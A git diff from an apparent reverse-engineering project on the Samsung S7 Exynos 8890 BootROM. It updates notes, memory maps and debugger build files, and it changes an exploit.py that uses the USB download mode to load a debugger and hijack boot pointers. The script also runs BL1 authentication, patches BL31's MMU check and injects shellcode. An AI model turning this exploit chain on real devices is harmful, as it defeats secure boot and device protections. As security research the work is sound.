+.. code-block:: dtsi
+
+    /* FSYS0 */
+	pinctrl_5: pinctrl@10E60000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x10E60000 0x1000>;
+		interrupts = <0 212 0>;
+	};
+
+	/* FSYS1 */
+	pinctrl_6: pinctrl@15690000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x15690000 0x1000>;
+		interrupts = <0 202 0>;
+	};
+
+    /* PERIC1 */
+	pinctrl_9: pinctrl@14CC0000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x14CC0000 0x1000>;
+		interrupts = <0 460 0>;
+	};
+
+    pmu_system_controller: system-controller@105C0000 {
+		compatible = "samsung,exynos8890-pmu", "syscon";
+		reg = <0x0 0x105C0000 0x10000>;
+	};
+
+    rtc@10070000 {
+		compatible = "samsung,s3c6410-rtc";
+		reg = <0x0 0x10070000 0x100>;
+		interrupts = <0 73 0>, <0 74 0>;
+		clocks = <&clock 157>;
+		clock-names = "gate_rtc";
+	};
+
+Probably the only thing it does is set some clocks and prepare for BL31.
+
+BL31
+----
+BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``. 
+
+BL2
+---
+0x02e8dc mentions 'Onyx-OPR6-8511R1', which is likely sboot. 
+
+OLD
+---
 
-TODO TODO TODO 
 The reason for this is the following code in bl1:
 
 .. code-block:: c
@@ -242,56 +307,3 @@ Replacing this function with our debugger makes us jump back:
 
 However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
 
-Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
-
-.. figure:: images/bl1_auth_references.png
-   :align: center
-
-   BL1 authentication. 
-
-purpose
-^^^^^^^
-bl1 interacts with several pheriperals, from the DTB these are:
-
-.. code-block:: dtsi
-
-    /* FSYS0 */
-	pinctrl_5: pinctrl@10E60000 {
-		compatible = "samsung,exynos8890-pinctrl";
-		reg = <0x0 0x10E60000 0x1000>;
-		interrupts = <0 212 0>;
-	};
-
-	/* FSYS1 */
-	pinctrl_6: pinctrl@15690000 {
-		compatible = "samsung,exynos8890-pinctrl";
-		reg = <0x0 0x15690000 0x1000>;
-		interrupts = <0 202 0>;
-	};
-
-    /* PERIC1 */
-	pinctrl_9: pinctrl@14CC0000 {
-		compatible = "samsung,exynos8890-pinctrl";
-		reg = <0x0 0x14CC0000 0x1000>;
-		interrupts = <0 460 0>;
-	};
-
-    pmu_system_controller: system-controller@105C0000 {
-		compatible = "samsung,exynos8890-pmu", "syscon";
-		reg = <0x0 0x105C0000 0x10000>;
-	};
-
-    rtc@10070000 {
-		compatible = "samsung,s3c6410-rtc";
-		reg = <0x0 0x10070000 0x100>;
-		interrupts = <0 73 0>, <0 74 0>;
-		clocks = <&clock 157>;
-		clock-names = "gate_rtc";
-	};
-
-Probably the only thing it does is set some clocks and prepare for BL31
-
-BL31
-----
-
-Setups EL3 stuff, probably in preperation of loading trustzone

documentation/source/BootROM_8890/index.rst

@@ -1,21 +1,18 @@
 ===================
 Exynos BootROM 8890
 ===================
-
 The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot time. 
 It is responsible for initializing the hardware and loading the first stage bootloader from storage. 
 The BootROM is stored in a read-only memory and cannot be modified. 
 
 Protections
 -----------
-
-There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place.
+There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place. There is however an SMC and a MMU. The SMC is used to communicate with the secure world, and the MMU is used to map the memory.
 
 Rom is at address 0x0 and is unwritable (Sometimes this is writeable due to MMU caching).
 
 Samsung Firmware
 ----------------
-
 Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
 To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.
 
@@ -40,10 +37,15 @@ TODO make memory layout of ROM, IMEM and some devices @JONHE
 
     The memory layout of the Exynos 8890
 
+- 0x00000000 to 0x00020000: BootROM
+- 0x000002c0: BL1 boot entry point
+- 0x00012848: bootrom authentication function
+- 0x00019310: BL1 boot function
+- 0x02069000: First debugger location
+
 
 Download protocol
 -----------------
-
 When the ROM is unable to boot from the internal storage, it enters ``Exynos Recovery Mode``. 
 In this mode the bootROM accepts data over USB. 
 There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.
@@ -193,12 +195,10 @@ There is a bug(unpatched?) in receiving the last packet of the usb image:
 
 DWC3
 ^^^^
-
 The Exynos 8890 uses the Synopsys DesignWare USB 3.0 controller. 
 Much of the code is shared with the DWC3 driver in the Linux kernel, except that the ROM does not do any scheduling and a lot of features have been removed(OTG handling, etc).
 
 Gupje
 ^^^^^
-
 In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
 

documentation/source/BootROM_8890/notes.rst

@@ -14,3 +14,15 @@ What is interesting about the ROM is that it starts by checking MPIDR_EL1 regist
         0000000c 41 00 00 54     b.ne       LAB_00000014
         00000010 fc 7f 83 14     b          LAB_020e0000
 
+
+Week 35 - 2024
+===============
+After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
+
+Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes).
+
+Also space at 0x020307f0
+
+.. code-block:: python
+        self.cd.memdump_region(0x105c2400, 0x40).hex()
+        '0f0f00000f0008002100000000000000ffffffffffffffffffffffffffffffff0f0f00000f0008002101000000000000ffffffffffffffffffffffffffffffff'

documentation/source/_ignore/stack_and_functions.csv

@@ -0,0 +1,21 @@
+start,end,name,order,comment,X0,LR
+0x00000000,0x00020000,BootROM,,,,
+0x02020f60,0x02020f68,_boot_usb_ra,,,,
+0x00012848,0x000128e8,auth_bl1,,,,
+0x000064e0,0x0000658c,_boot_usb,,,,
+0x020c0000,0x020c0004,_frederic_dest_ptr,,,,
+0x000002c0,0x000002c4,_jump_bl1,,,,
+0x02022000,0x02024000,BL1,,,,
+0x02024000,0x02048000,BL31,,,,
+0x02048000,0x0206ed10,BL2,,,,
+0x02069000,0x0206f000,Debugger,,,,
+0x020c0000,0x020c7000,Debugger relocated,,,,
+0x02048000,0x0204daf0,BL2 empty space?,,,,
+0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
+0x020c2000,0x020e8d10,BL2 load address?,,,,
+0x0206ed10,0x02070000,End/Start peripheral space?,,,,
+0x02019e5c,0x02020e5c,Tried debugger space,,,,
+0x020C7800,0x020C8000,modem_interface,,,,
+0x14AC0000,0x14ac5000,mali@14AC0000,,,,
+0x02035600,0x02035608,TTBR0_EL3 address ptr,,,,
+0x11207010,0x11207010,memread/write space,,,,

documentation/source/conf.py

@@ -23,6 +23,8 @@ extensions = [  'myst_parser',
 templates_path = ['_templates']
 exclude_patterns = []
 
+# Ignore 
+exclude_patterns = ['_ignore']
 
 # select the theme
 html_theme = 'sphinx_wagtail_theme'

documentation/source/index.rst

@@ -11,8 +11,7 @@ Documentation on Samsung devices, currently mainly the Samsung S7.
    :maxdepth: 2
    :caption: BootROMs:
 
-   BootROM_8890/index.rst
-   BootROM_8890/boot_chain.rst
-
-
-
+   BootROM_8890/01_start.rst
+   BootROM_8890/02_frederics_exploit.rst
+   BootROM_8890/03_exploit_boot_chain.rst
+   BootROM_8890/04_notes.rst

requirements.txt

@@ -11,3 +11,10 @@ tqdm
 pyhidra
 sphinxcontrib.confluencebuilder
 sphinxcontrib.drawio
+sphinx_wagtail_theme
+plotly
+numpy
+nbformat==5.10.4
+pandas
+xvfbwrapper #Required for sphinx drawio
+source/ghidra_assistant/ghidra_assistant-0.0.1-py3-none-any.whl

source/exploit/exploit.py

@@ -306,25 +306,20 @@ class ExynosDevice():
             count += 1
 
 
-    def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False):
+    def dump_memory(self, start: hex=0x0, end: hex=0x02070000, write=False):
         """
         Dumps memory from the device.
 
         Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
         """
-        # NOT WORKING YET
-        transferred = ctypes.c_int()
         dumped = b""
         # Read data from memory
-        for block in tqdm.tqdm(range(start, end, 0x200)):
-            self.usb_write(p32(block-0x200))
-            res = self.usb_read(0x200)
-            dumped += res
-        
-        if write:
-            filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin"
-            with open(filename, "wb") as f:
-                f.write(dumped)
+        try:
+            for block in tqdm.tqdm(range(start, end, 0x6000)):
+                dump = self.cd.memdump_region(block, 0x6000)
+                dumped += dump
+        except:
+            print("Error reading memory, at block: ", hex(block))
         return dumped
 
 
@@ -344,6 +339,7 @@ class ExynosDevice():
 
         def _initial_run_debugger():
             """Write debugger to device and test basic functionality"""
+            ### Setup debugger
             if os.getenv("USER") == "eljakim":
                     debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
             else:
@@ -352,6 +348,7 @@ class ExynosDevice():
                 except Exception as e:
                     print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                     sys.exit(0)
+
             debugger += ((0x2000 - len(debugger)) * b"\x00")
             assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
             for block in range(0, len(debugger), 0x200):
@@ -368,8 +365,17 @@ class ExynosDevice():
         _setup_debugger()
     
 
-    def relocate_debugger(self):
-        # Seems to be cleared upon cache clearing??
+    def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
+        """
+        Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
+
+        Args:
+            - debugger: The debugger to relocate. If None, it will use the default debugger.
+            - entry: The entry point of the debugger.
+            - storage: The storage location of the debugger.
+            - g_data_received: The location of the data received.
+        """
+        if debugger is None:
             if os.getenv("USER") == "eljakim":
                 debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
             else:
@@ -378,29 +384,14 @@ class ExynosDevice():
                 except Exception as e:
                     print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                     sys.exit(0)
-
-        self.cd.memwrite_region(0x020c0000, debugger_reloc)
-        # self.usb_write(b"FLSH") # Flush cache
-        self.cd.restore_stack_and_jump(0x020c0000)
-        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
-        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
-        
-    def relocate_debugger_2(self):
-        # Seems to be cleared upon cache clearing??
-        if os.getenv("USER") == "eljakim":
-            debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
         else:
-            try:
-                debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
-            except Exception as e:
-                print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
-                sys.exit(0)
+            debugger_reloc = debugger
 
-        self.cd.memwrite_region(0x020c0000, debugger_reloc)
+        self.cd.memwrite_region(entry, debugger_reloc)
         # self.usb_write(b"FLSH") # Flush cache
-        self.cd.restore_stack_and_jump(0x020c0000)
+        self.cd.restore_stack_and_jump(entry)
         assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
-        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
+        self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
         
 
     def dumb_interact(self, dump_imems=False):
@@ -542,7 +533,7 @@ class ExynosDevice():
         shellcode = f"""
         ldr x0, debugger_addr
         blr x0
-        debugger_addr:   .quad 0x020c0000
+        debugger_addr:   .quad 0x02022000
         """
 
         shellcode = ks.asm(shellcode, as_bytes=True)[0]
@@ -567,24 +558,83 @@ class ExynosDevice():
         # self.cd.restore_stack_and_jump(0x00012814)
         # self.cd.restore_stack_and_jump(0x000125b4)
 
+    def get_ttbr0_el3(self):
+        """
+        Get the TTBR0_EL3 register using opcode.
+        """
+        shellcode= f"""
+        mov     x1, lr
+        mrs     x0, ttbr0_el3
+        ldr     x2, =0x206fd10
+        str     x0, [x2]
+        mov     lr, x1
+        ret
+        """
+        shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        self.cd.memwrite_region(0x206ed10, shellcode)
+        self.cd.jump_to(0x0206ed10)
+        ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
+        print(f"TTBR0_EL3: {hex(ttbr0)}")
+        print(f"Bits: {ttbr0:064b}")
+
+        # Overwrite it with 0's
+        self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
+        ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
+        assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
+
+
+    def test_write_execute(self, address):
+        """
+        At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
+        """
+        self.usb_write(b'PING')
+        assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
+
+        shellcode = f"""
+        mov     x1, lr  
+        ret              
+        """
+
+        shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        self.cd.memwrite_region(address, shellcode)
+        self.cd.jump_to(address)
+        self.usb_write(b"PING")
+        assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
+        print(f'Jumped to {hex(address)} and back')
+
         
     def debugger_boot(self):
         """
         Boot into USB recovery mode using the debugger.
         """
-        ### Setup debugger
+        # Setup initial debugger
         self.setup_guppy_debugger()
-
         self.cd.arch_dbg.state.auto_sync = False
         self.cd.arch_dbg.state.auto_sync_special = False
         logger.debug('State after setting up initial debugger')
         self.cd.arch_dbg.state.print_ctx()
+        DEBUGGER_ADDR = 0x2069000 # 0x2069000
 
-        # self.relocate_debugger()
-        DEBUGGER_ADDR = 0x2069000 #0x020c0000
+        # # Relocate to other debugger to 02048000 (after BL31, space in 0x020c0000 is no longer reachable -> dying debugger)
+        # debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
+        # self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
+        # DEBUGGER_ADDR = 0x02048000
 
-        ### Overwrite boot_usb_ra to our debugger
+        # # # Relocate to other debugger to 020c0000
+        # debugger = open("../../dump/reloc_debugger.bin", "rb").read()
+        # self.relocate_debugger(debugger)
+        # DEBUGGER_ADDR = 0x020c0000
+
+        # Relocate debugger
+        debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
+        self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
+        DEBUGGER_ADDR = 0x11200000
+
+        # Test debugger connection
         self.cd.test_connection()
+
+        # ==== BL1 ====
+        ### Overwrite boot_usb_ra to our debugger
         hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8)
         self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))
 
@@ -592,11 +642,13 @@ class ExynosDevice():
         BOOT_USB_FUNCTION = 0x000064e0
         self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
         self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION)
+
+        # Wait for device return (happens after each download)
         time.sleep(1)
         self.connect_device()
 
-        # Setup jump and authentication
-        AUTH_BL1 = 0x00012848
+        # Setup jump and bl_auth
+        AUTH_BL1 = 0x00012848 # Location of the authentication function
         def auth_bl1(lr=0x2069000):
             # Load the firmware
             self.cd.arch_dbg.state.X0 = 1
@@ -607,6 +659,7 @@ class ExynosDevice():
             ### Check if authentication was successful - X0 should not be 0??
             # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
         
+        # Jump into BL1 (sboot.bin.1.bin)
         JUMP_BL1 = 0x000002c0
         def jump_bl1(lr):
             self.cd.arch_dbg.state.LR = lr
@@ -616,99 +669,172 @@ class ExynosDevice():
         self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
         assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
         
-        # BL1 is loaded, now authenticat and patch it
+        # BL1 is loaded, now authenticate and patch it
         auth_bl1(DEBUGGER_ADDR)
-        self.usb_write(b"FLSH") # Flush cache
-        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) 
-        # INSERT YOUR BL1 PATCHES HERE
-        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
+        self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
 
+        # Hijack ROM download function
+        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) 
+        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
         self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
 
-        # self.cd.memwrite_region(0x020200a0, p32(DEBUGGER_ADDR))
-        # self.cd.memwrite_region(0x020200d0, p32(DEBUGGER_ADDR))
-        # self.cd.memwrite_region(0x020200b4, p32(DEBUGGER_ADDR))
-        # self.cd.memwrite_region(0x020200a4, p32(DEBUGGER_ADDR))
-        
-        # self.cd.memwrite_region(0x0202297c, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
-        
-        
-        GADGET_RET0 = 0x00000d58
-        # self.cd.memwrite_region(0x20296da , p32(GADGET_RET0))
-        # self.cd.memwrite_region(0x20296da + 4, p32(GADGET_RET0))
-        
-        # END
+        # And jump into BL1 to execute it
         jump_bl1(DEBUGGER_ADDR)
         
-        
         # ==== BL31 ====
+        # Assure that the debugger is still alive
         assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
 
-        # Download next stage via ROM_DOWNLOAD_USB
+        # Functions to check ttbr0 (should be trash until after executing BL31)
+        # self.get_ttbr0_el3() # Should be trash, as the 
+        # self.check_mem_write_execute(0x020c0000)
+    
+        # Get current LR, and store it. Then set LR to debugger.
         lr = self.cd.arch_dbg.state.LR
         self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
-        self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage
+        self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it)
+
+        # After downloading the next stage, make sure the device reconnects
         time.sleep(2)
         self.connect_device()
         self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
         time.sleep(2)
         
+        # Assure that the debugger is returning (obligatory assuration)
         self.usb_read(0x200) # GiAs
         # lr = self.cd.arch_dbg.state.LR
-        self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # Resore oginal boot flow
+        # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to resotre oginal boot flow, without getting back to the debugger
 
-        # TODO patch verification
-        
-        
-        # self.cd.memwrite_region(0x0202010c - 52, p32(GADGET_RET0))
-        
-        
-        
-        # self.cd.memwrite_region(0x02024774, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
-        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
-        # self.cd.arch_dbg.state.X0 = 0x020347f0
-        # self.cd.arch_dbg.state.X1 = 0
-        # self.cd.restore_stack_and_jump(0x02030464)
+        # Set LR to continue boot flow
         self.cd.restore_stack_and_jump(lr)
         
+        # Assure return to debugger
         time.sleep(2)
         self.usb_read(0x200) # GiAs
         self.cd.memwrite_region(0x02031008, b"ELH")
-        # ====== PATCHES TO BL31 here! ======
         
+        # Relocate to other debugger (For after BL31, but we need a good space!)
+        # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
+        # self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000)
+        # DEBUGGER_ADDR = 0x14AC0000
         
-        # Jump BL31
-        self.cd.restore_stack_and_jump(0x02024010)
-        
-        
-        time.sleep(2)
-        self.connect_device()
-        
-        
-        # self.usb_read(0x200) # GiAs
+        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
+        # self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
         # self.cd.restore_stack_and_jump(hijacked_fun)
 
-        # ==== Stage 3 BL2 ====
-        self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
+        # Inspect TTBR0_EL3 table
+        TTBR0_EL3 = 0x02035600 # Zeroed out
+
+        # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
+        self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false
+        # self.cd.memwrite_region(0x02032008, struct.pack('>I', 0x1f2003d5)) # Overwrite MAIR to NOP
+        # self.cd.memwrite_region(0x0202ee74, struct.pack('>I', 0x63650094)) # Return to debugger. (not working, it continues booting..)
+
+        # self.cd.memwrite_region(0x0202eb7c, struct.pack('>I', 0x21650014)) # Change check to always false
+
+        # Jump back to debugger, after TTBR0 is no longer accessible
+        # self.cd.memwrite_region(0x0202f288, struct.pack('>I', 0x5e630094)) # Change check to always false
+
+        # Jump into BL31 and execute it
+        self.cd.restore_stack_and_jump(0x02024010)
+        
+        # Obligatory reconnect and check of debugger
         time.sleep(2)
         self.connect_device()
+        self.usb_read(0x200) # GiAs 
+        BL31_ra = self.cd.arch_dbg.state.LR
         
+        self.cd.arch_dbg.fetch_special_regs()
+        print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
+
+        # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger.
+        VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
+
+        # ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
+        # # Disable MMU and branch to 0x02048000
+        # shellcode=f"""
+        # mrs     x0, sctlr_el3
+        # bic     x0, x0, #1
+        # msr     sctlr_el3, x0
+        # ldr     x0, =0x2048000
+        # br      x0
+        # """
+        # shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        # self.cd.memwrite_region(0x02060000, shellcode)
+        # self.cd.jump_to(0x02060000)
+        # time.sleep(1)
+        # self.usb_read(0x200) # GiAs
+        # self.cd.arch_dbg.fetch_special_regs()
+
+        # # Print status of MMU
+        # print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
+
+        # =================
+
+        # # Change the values of MAIR_EL3 to a different value
+        # shellcode=f"""
+        # mov     x0, #0x000000ff
+        # msr     mair_el3, x0
+        # ldr     x0, =0x2048000
+        # br      x0
+        # """
+        # shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        # self.cd.memwrite_region(0x02060000, shellcode)
+        # self.cd.jump_to(0x02060000)
+        # time.sleep(1)
+        # self.usb_read(0x200) # GiAs
+        # self.cd.arch_dbg.fetch_special_regs()
+        # print(self.cd.arch_dbg.state.R_MAIR_EL3)
+
+        self.test_write_execute(0x11207010)
+
+        # # Relocate debugger
+        # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
+        # self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
+        # DEBUGGER_ADDR = 0x11200000
+
+        # Again restore bootflow
+        # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
+        self.cd.restore_stack_and_jump(hijacked_fun)
+        time.sleep(2)
+
+
+        # ==== Stage 3 BL2 ====
+        stage3 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
+        # stage3_len = len(stage3)
+        # patch_len = len(b"MNGS_QUAD")
+        # patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch")))
+        # patch_offset = stage3.find(b"MNGS_QUAD")
+        # stage3 = stage3[:patch_offset] + patch + stage3[patch_len + patch_offset:]
+        # assert len(stage3) == stage3_len, "Invalid stage4 length"
+
+        self.send_normal_stage(stage3)
+        time.sleep(2)
+        self.connect_device()
+        self.usb_read(0x200) # GiAs
+
+        # Restore bootflow
+        self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
+        self.cd.restore_stack_and_jump(hijacked_fun)
 
         # ==== Stage 4  ====
         stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()  
+
         # Patching
-        stage4_len = len(stage4)
-        patch_len = len(b"USB RECOVERY MODE")
-        patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE")))
-        patch_offset = stage4.find(b"USB RECOVERY MODE")
-        stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:]
-        assert len(stage4) == stage4_len, "Invalid stage4 length"
+        # stage4_len = len(stage4)
+        # patch_len = len(b"USB RECOVERY MODE")
+        # patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE")))
+        # patch_offset = stage4.find(b"USB RECOVERY MODE")
+        # stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:]
+        # assert len(stage4) == stage4_len, "Invalid stage4 length"
+
         self.send_normal_stage(stage4)
         time.sleep(2)
 
         pass
 
 
+
 if __name__ == "__main__":
     arg = argparse.ArgumentParser("Exynos exploit")
     arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)

source/exploit/modify_bin.py

@@ -1,8 +0,0 @@
-# Open a binary file and modify it
-bl1 = open('../S7/bl1.bin', 'rb').read()
-
-# Modify the binary file at 1C10
-bl1 = bl1[:0x1C1C] + b'\x48' + bl1[0x1C1D:]
-
-# Write the modified binary file
-open('../S7/bl1_mod.bin', 'wb').write(bl1)

source/gupje_device/Makefile

@@ -8,7 +8,7 @@ OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64
 LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
 
 #==================Target Samsung S7 (8890)==================
-all: samsung_s7 samsung_s7_reloc
+all: samsung_s7 samsung_s7_reloc samsung_s7_reloc_0x2019e5c
 
 CFLAGS_SAMSUNGS7 = -Os -Idevices/samsung_s7/
 samsung_s7:
@@ -26,3 +26,10 @@ samsung_s7_reloc:
 	$(LD) -T devices/samsung_s7/reloc_linkscript.ld bin/samsung_s7/reloc_entry.o bin/samsung_s7/reloc_debugger.o -o bin/samsung_s7/reloc_debugger.elf --just-symbols=devices/samsung_s7/reloc_symbols.txt
 	$(OBJCOPY) -O binary bin/samsung_s7/reloc_debugger.elf bin/samsung_s7/reloc_debugger.bin
 
+CFLAGS_SAMSUNGS7_RELOC_0x2019e5c = -Os -DRELOC_DEBUGGER_2=1 -Idevices/samsung_s7/ 
+samsung_s7_reloc_0x2019e5c:
+	[ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/
+	$(CC) arm64_stub.S -c -o bin/samsung_s7/reloc_entry_0x2019e5c.o $(CFLAGS_SAMSUNGS7_RELOC_0x2019e5c)
+	$(CC) debugger.c -c -o bin/samsung_s7/reloc_debugger_0x2019e5c.o $(CFLAGS_SAMSUNGS7_RELOC_0x2019e5c)
+	$(LD) -T devices/samsung_s7/reloc_linkscript_0x2019e5c.ld bin/samsung_s7/reloc_entry_0x2019e5c.o bin/samsung_s7/reloc_debugger_0x2019e5c.o -o bin/samsung_s7/reloc_debugger_0x2019e5c.elf --just-symbols=devices/samsung_s7/reloc_symbols_0x2019e5c.txt
+	$(OBJCOPY) -O binary bin/samsung_s7/reloc_debugger_0x2019e5c.elf bin/samsung_s7/reloc_debugger_0x2019e5c.bin

source/gupje_device/device.h

@@ -29,6 +29,14 @@ int mystrlen(char *data) {
 #define data_received 0x206f100
 #endif
 
+#ifdef RELOC_DEBUGGER_2
+#define recv_buffer 0x14AC4200
+#define data_received 0x14AC4000
+#else
+#define recv_buffer 0x206f000 //0x02021800 + 0x3000
+#define data_received 0x206f100
+#endif
+
 void recv_data_cb(uint32_t endpoint, uint32_t len){
     char *dest_buf = (char *)recv_buffer;
     volatile void *dref = (void *)data_received;

source/gupje_device/reloc_linkscript_0x2019e5c.ld

@@ -0,0 +1,14 @@
+MEMORY {
+    ROM (rwx): ORIGIN = 0x14AC0000, LENGTH = 0x1000
+}
+
+SECTIONS
+{
+     . = 0x14AC0000;
+     .text . : {
+          *(.text*)
+          *(.data*)
+          *(.rodata*)
+     } >ROM
+
+}

source/gupje_device/reloc_symbols_0x2019e5c.txt

@@ -0,0 +1,12 @@
+debugger_storage = 0x14AC3000;
+debugger_stack = 0x14AC2000;
+debugger_entry = 0x14AC0000;
+
+maybe_usb_setup_read = 0x00006f88;
+dwc3_ep0_start_trans = 0x0000791c;
+usb_event_handler = 0x00007bac;
+get_endpoint_recv_buffer = 0x00007a7c;
+exynos_sleep = 0x000027c8;
+
+g_recv_buffer = 0x14AC4200;
+g_data_received = 0x14AC4000;